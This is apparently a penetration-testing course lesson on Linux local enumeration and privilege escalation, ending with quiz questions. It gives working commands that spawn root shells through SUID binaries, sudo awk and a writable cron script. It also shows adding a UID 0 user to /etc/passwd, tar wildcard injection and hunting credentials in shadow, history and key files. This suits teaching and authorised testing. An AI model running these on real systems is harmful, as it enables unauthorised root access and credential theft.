4.1 Linux Host & Network Enumeration
Key Takeaways
System identification commands such as uname -a, /etc/os-release, and environment variable audits provide the operating system architecture, kernel release, and PATH configurations needed to identify privilege escalation paths.
Network interface and socket enumeration using ip a, ip route, and ss -tulnp reveals dual-homed pivot interfaces and internal loopback listeners that are inaccessible from external port scans.
Auditing file permissions for world-writable directories and SUID/SGID binaries (find / -perm -4000) isolates administrative utilities that can be abused via GTFOBins techniques to achieve root execution.
Evaluating user accounts in /etc/passwd, checking sudo privileges with sudo -l, and inspecting crontabs highlights misconfigurations such as NOPASSWD directives and writable scheduled task scripts.
Foundations of Linux Local Enumeration
During a penetration test or hands-on security assessment, gaining an initial foothold as a low-privilege user—such as www-data through a web application exploit or an unprivileged shell account via weak credentials—is only the first step. To proceed effectively, a security tester must transition into local system enumeration. Local enumeration is the methodical inspection of a target operating system's internal configuration, environmental variables, network architecture, active processes, file system permissions, and scheduled tasks.
Without rigorous local enumeration, a penetration tester operates blindly, risking missed privilege escalation paths or running noisy, unstable kernel exploits that can crash the target operating system. A disciplined methodology focuses on non-destructive commands to build complete situational awareness before attempting any elevation or lateral movement.
System Identification & Operating System Profiling
The initial phase of local auditing involves establishing the exact identity, kernel version, and hardware architecture of the compromised Linux host. Operating system and kernel details indicate whether the system is vulnerable to historical kernel exploits, such as Dirty COW (CVE-2016-5195) or PwnKit (CVE-2021-4034).
Kernel and Architecture Inspection
The uname utility queries the core operating system kernel. Running uname -a prints all available system flags:
uname -a
# Output:
# Linux target-dmz 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 00:09:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
The output elements provide critical data:
- Kernel Release (
-r):4.15.0-20-genericindicates the base release and patch level. - Architecture (
-m):x86_64confirms a 64-bit platform, determining that any compiled proof-of-concept exploits or staged binaries must target x86_64 architecture. - Hostname (
-n):target-dmzidentifies the network node hostname.
Linux Distribution Fingerprinting
Different distributions (such as Debian, Ubuntu, Red Hat Enterprise Linux, CentOS, or Alpine) maintain configuration files, package managers, and security policies in different locations. Testers inspect standard release files to identify the distribution:
cat /etc/os-release
# Output:
# NAME="Ubuntu"
# VERSION="18.04 LTS (Bionic Beaver)"
# ID=ubuntu
# VERSION_ID="18.04"
Additional files providing release metadata include /etc/issue and /etc/lsb-release. Identifying the distribution confirms the available package manager (apt, dpkg, yum, or rpm) and helps determine whether security updates are actively backported to existing packages.
Environment Variables and $PATH Auditing
Environment variables dictate how the current user shell executes commands, searches for shared libraries, and resolves directory paths. Running env or printenv prints the current session variables:
env
# Key variables to examine:
# USER=www-data
# HOME=/var/www
# SHELL=/bin/bash
# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
A critical security audit item is the \$PATH variable. The \$PATH string specifies an ordered list of directories searched by the shell when a command is executed without an absolute path. Insecure configurations arise when:
- Current Directory (
.) in $PATH: If.appears at the beginning of\$PATH(e.g.,.:/usr/bin:/bin), the shell looks in the current working directory first. If a privileged administrator navigates to/tmpand executesls, an attacker could place a malicious executable namedlsin/tmpto hijack execution. - Writable Directories in $PATH: If a directory within
\$PATHis writable by unprivileged users, an attacker can deposit custom binaries that supersede standard system utilities.
Network Configuration, Routing & Sockets Auditing
A compromised host rarely operates in complete isolation. Examining its network interfaces, local routing tables, and active sockets frequently uncovers pathways into restricted internal subnets or discloses local administrative services.
Network Interfaces and Subnet Discovery
Penetration testers query interfaces using the modern iproute2 suite (ip a or ip address) or the legacy ifconfig utility:
ip a
# Output snippet:
# 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
# inet 127.0.0.1/8 scope host lo
# 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
# inet 10.10.10.15/24 brd 10.10.10.255 scope global eth0
# 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
# inet 192.168.50.10/24 brd 192.168.50.255 scope global eth1
Discovering multiple active interfaces indicates a multi-homed host. In this scenario, eth0 (10.10.10.15/24) represents the perimeter network accessible to the tester, while eth1 (192.168.50.10/24) interfaces with an internal segment. This makes the host a primary candidate for network pivoting.
Routing Tables and Name Resolution
Inspecting routing tables exposes the default gateway and any static network routes:
ip route
# Output:
# default via 10.10.10.1 dev eth0 onlink
# 10.10.10.0/24 dev eth0 proto kernel scope link src 10.10.10.15
# 192.168.50.0/24 dev eth1 proto kernel scope link src 192.168.50.10
Examining name resolution files illuminates the target environment's internal naming conventions and infrastructure:
/etc/resolv.conf: Discloses nameservers and internal search domains (e.g.,nameserver 192.168.50.2,search corporate.local)./etc/hosts: Discloses static hostname-to-IP mappings, frequently uncovering internal development servers, staging environments, or administrative database clusters.
Active Sockets and Loopback Listeners
External Nmap port scans only discover services bound to public or external interfaces (0.0.0.0 or specific interface IPs). However, administrators frequently configure sensitive daemons—such as database backends, internal dashboards, and caching engines—to bind exclusively to the local loopback address (127.0.0.1 or ::1).
Testers enumerate open sockets using ss (Socket Statistics) or netstat:
ss -tulnp
# Alternatively: netstat -tulnp
# Flags:
# -t: TCP sockets
# -u: UDP sockets
# -l: Listening sockets
# -n: Numeric addresses and ports (prevents DNS resolution delays)
# -p: Show process ID and program name
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=942,fd=3))
LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("apache2",pid=1120,fd=4))
LISTEN 0 50 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",pid=1450,fd=10))
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:* users:(("python3",pid=2105,fd=3))
In this output, port 22 (SSH) and port 80 (HTTP) listen on 0.0.0.0, meaning they are reachable externally. Conversely, port 3306 (MySQL) and port 8080 (a custom Python application) bind strictly to 127.0.0.1. These internal services can only be interacted with from the local shell or accessed remotely by forwarding ports over SSH or Meterpreter.
The lsof -i command provides an alternative method to list open internet sockets along with the executing user accounts:
lsof -i
File Permissions, SUID/SGID Binaries & Sensitive Data
Linux file security relies on discretionary access control (DAC) permissions: read (r=4), write (w=2), and execute (x=1) across User (owner), Group, and Other (world). Misconfigured permissions on key binaries and files represent common privilege escalation vectors.
Finding World-Writable Files and Directories
Penetration testers search for world-writable directories to stage tools, exploits, and scripts:
find / -writable -type d 2>/dev/null
Standard writable locations include /tmp, /var/tmp, and /dev/shm. Identifying non-standard world-writable directories—such as /opt/scripts or custom application directories—indicates potential file replacement or DLL/library hijacking opportunities.
To find world-writable files across the filesystem:
find / -perm -o w -type f 2>/dev/null
If system configuration files such as /etc/passwd are world-writable (-rw-rw-rw-), any user can append a new line containing a custom root account. An attacker can generate a salted password hash using OpenSSL:
openssl passwd -1 -salt evil Password123
# Output: \$1\$evil\$ndlSvhqfFv9F80f.jMtz9/
Appending evil:\$1\$evil\$ndlSvhqfFv9F80f.jMtz9/:0:0:root:/root:/bin/bash directly to /etc/passwd creates an instant root user with UID 0.
SUID and SGID Binaries
In addition to standard permissions, Linux supports special permission bits:
- SUID (Set User ID, numeric 4000): When an executable with the SUID bit is launched, it runs with the effective privileges of the file owner rather than the executing user.
- SGID (Set Group ID, numeric 2000): When launched, it runs with the privileges of the file group.
If a binary owned by root has the SUID bit enabled (-rwsr-xr-x), executing it runs that process as root. To locate all SUID files on the system:
find / -perm -4000 -type f 2>/dev/null
# Alternatively: find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/find
/usr/bin/pkexec
While utilities like /usr/bin/passwd require SUID permissions to allow users to modify their passwords in /etc/shadow, utilities like /usr/bin/find should never possess SUID permissions.
GTFOBins Exploitation Concepts
GTFOBins is a curated open-source index of Unix binaries that can be leveraged by attackers to bypass local security restrictions, escape restricted shells, or escalate privileges. If a standard binary has the SUID bit set or is executable via sudo, built-in command-line flags or interactive prompts can often be manipulated to spawn an elevated shell.
For example, if /usr/bin/find carries the SUID bit:
# Exploiting SUID find to spawn a root shell
/usr/bin/find . -exec /bin/sh -p \; -quit
The -exec parameter executes /bin/sh. The -p flag preserves the privileged user ID, yielding an interactive root prompt.
Similarly, if /usr/bin/vim has SUID permissions:
/usr/bin/vim -c ':!/bin/sh'
Sensitive Data and Credential Hunting
Low-privilege users should systematically search for exposed secrets left on disk by users or software:
/etc/shadowPermissions: By default,/etc/shadowis readable only byroot(-rw-r----- 1 root shadow). If misconfigured as world-readable, low-privilege users can read all cryptographic password hashes and crack them offline using John the Ripper or Hashcat.- Command History Files: Users frequently pass cleartext credentials in terminal commands. Inspect
~/.bash_history,~/.zsh_history, and.bash_historyin all readable home directories (/home/*/.bash_history). - SSH Private Keys: Check
~/.ssh/id_rsa,~/.ssh/id_ecdsa, and~/.ssh/id_ed25519. If a private key lacks a passphrase and is readable, an attacker can copy it to their attack machine, set correct permissions (chmod 600 id_rsa), and log in directly via SSH. - Web Configuration Files: Web applications frequently store database passwords in files such as
/var/www/html/config.php,/var/www/html/wp-config.php, or.env.
Users, Groups, Sudo Privileges & Scheduled Tasks
Auditing users, administrative privileges, and automated tasks highlights configuration errors that bypass traditional boundary defenses.
User and Group Identity
Upon obtaining a shell, execute whoami and id:
id
# Output: uid=1001(developer) gid=1001(developer) groups=1001(developer),27(sudo),115(docker)
Examining group memberships is vital. Membership in specific groups provides direct elevation paths:
docker: Members can launch a container mounting the host's root filesystem (docker run -v /:/mnt -it alpine chroot /mnt), granting immediate root access.lxd/lxc: Allows building containers that mount host disks.disk: Grants raw read/write access to block devices (e.g.,/dev/sda1), allowing direct data extraction or modification of/etc/shadow.
To view all system accounts and their configured login shells:
cat /etc/passwd
# Filter for accounts with valid interactive shells:
grep -E '(/bin/bash|/bin/sh)' /etc/passwd
Auditing Sudo Privileges (sudo -l)
The sudo utility allows permitted users to execute commands with elevated security privileges. Running sudo -l lists the specific commands the current user is authorized to execute:
sudo -l
# Output:
# Matching Defaults entries for developer on target-dmz:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
#
# User developer may run the following commands on target-dmz:
# (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance/backup.py
# (root) NOPASSWD: /usr/bin/awk
In this example, the user can run /usr/bin/awk as root without supplying a password (NOPASSWD). Referencing GTFOBins reveals that awk can execute system commands directly:
sudo awk 'BEGIN {system("/bin/bash")}'
Executing this command instantly spawns an interactive root shell.
Cron Jobs and Scheduled Tasks
The cron daemon executes automated administrative tasks on predefined schedules. Crontabs are defined in system-wide locations and per-user spools:
/etc/crontab: System-wide cron schedule./etc/cron.d/: Directory containing modular system crontabs./etc/cron.daily/,/etc/cron.hourly/,/etc/cron.weekly/,/etc/cron.monthly/: Periodically executed scripts./var/spool/cron/crontabs/: User-specific crontab files.
Inspect /etc/crontab to review system tasks:
cat /etc/crontab
# Output:
# 17 * * * * root cd / && run-parts --report /etc/cron.hourly
# */2 * * * * root /opt/scripts/cleanup.sh
Here, /opt/scripts/cleanup.sh runs every two minutes as root. If /opt/scripts/cleanup.sh is world-writable or owned by the current user, an attacker can modify the script to append a reverse shell or elevate permissions:
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/scripts/cleanup.sh
When the cron job triggers, it copies bash to /tmp with SUID permissions enabled, allowing the tester to run /tmp/rootbash -p for root access.
Additionally, crontabs utilizing wildcards (such as tar -czf /backup/backup.tar.gz *) in writable directories are vulnerable to wildcard injection, allowing attackers to supply filenames formatted as command-line arguments (e.g., --checkpoint=1 and --checkpoint-action=exec=sh shell.sh) to execute arbitrary commands when tar runs.
Linux Enumeration Reference Tables
| Command | Primary Audit Objective | Key Insight / Risk |
|---|---|---|
uname -a | Displays kernel release, build date, and CPU architecture. | Matches kernel against public local privilege escalation exploits. |
cat /etc/os-release | Displays distribution name and version number. | Identifies package managers and distribution-specific patch policies. |
env / echo \$PATH | Displays active environment variables and execution paths. | Detects missing paths, relative . entries, and writable directories. |
ip a / ip route | Enumerates network interfaces and static routing tables. | Discovers secondary internal subnets on multi-homed systems for pivoting. |
ss -tulnp | Lists active listening TCP and UDP sockets with owning PIDs. | Identifies internal-only loopback listeners (127.0.0.1) not exposed externally. |
find / -perm -4000 -type f 2>/dev/null | Identifies files with the SUID bit set owned by any user. | Discovers administrative binaries exploitable via GTFOBins. |
find / -writable -type d 2>/dev/null | Discovers all world-writable directories on the system. | Locates drop locations for tools and identifies insecure application paths. |
sudo -l | Lists commands executable via sudo for the current user. | Discovers NOPASSWD rules that permit immediate command execution as root. |
cat /etc/crontab | Inspects system-wide scheduled task definitions. | Uncovers automated root scripts with insecure file permissions. |
| Binary Name | Example SUID Exploitation Syntax | Underlying Mechanism |
|---|---|---|
/usr/bin/find | find . -exec /bin/sh -p \; -quit | Executes shell via -exec parameter with effective UID preserved. |
/usr/bin/bash | bash -p | Invoking with -p flag retains elevated effective user ID instead of dropping it. |
/usr/bin/vim | vim -c ':!/bin/sh' | Launches interactive shell directly from editor command prompt. |
/usr/bin/cp | cp /bin/sh /bin/custom_sh (or overwriting /etc/passwd) | Replaces critical system files or copies shells into privileged paths. |
/usr/bin/python3 | python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' | Calls OS executive syscall directly within Python runtime. |
/usr/bin/awk | awk 'BEGIN {system("/bin/sh -p")}' | Executes shell via built-in system() directive in awk initialization block. |
A penetration tester identifies that the binary /usr/bin/find has the SUID permission bit set and is owned by root. How can this binary be leveraged to obtain a privileged root shell?
By recompiling the find source code and adding a backdoored dynamic shared library into /usr/lib.
By running find . -exec /bin/sh -p ; -quit to execute a shell while preserving effective root privileges.
By renaming the binary to /usr/bin/sudo and executing it without password authentication.
By deleting /usr/bin/find so that cron automatically spawns a replacement shell process as root.
While auditing a compromised Linux host, running ss -tulnp reveals a service listening on 127.0.0.1:3306 that was not detected during external port scanning. What explains this finding, and how should the tester proceed?
The service is disabled in the kernel and cannot process any network connections.
The network interface dropped the TCP handshake because the firewall blocked incoming ICMP packets.
The database service is bound exclusively to the local loopback adapter, requiring local inspection or port forwarding to access.
External Nmap scans automatically suppress port 3306 unless explicitly commanded with the --include-all flag.
A penetration tester discovers that the /etc/passwd file on a target system has permissions -rw-rw-rw-. What is the most direct method to escalate privileges to root using this misconfiguration?
Generate a salted password hash using openssl passwd and append a new user line with UID 0 directly into /etc/passwd.
Reboot the target host into single-user recovery mode using the shutdown -r now command.
Execute chmod 4000 /etc/passwd to convert the text file into an executable SUID binary.
Send an HTTP POST request to the local web server containing the contents of /etc/shadow.
Sections you finish are checked off in the contents.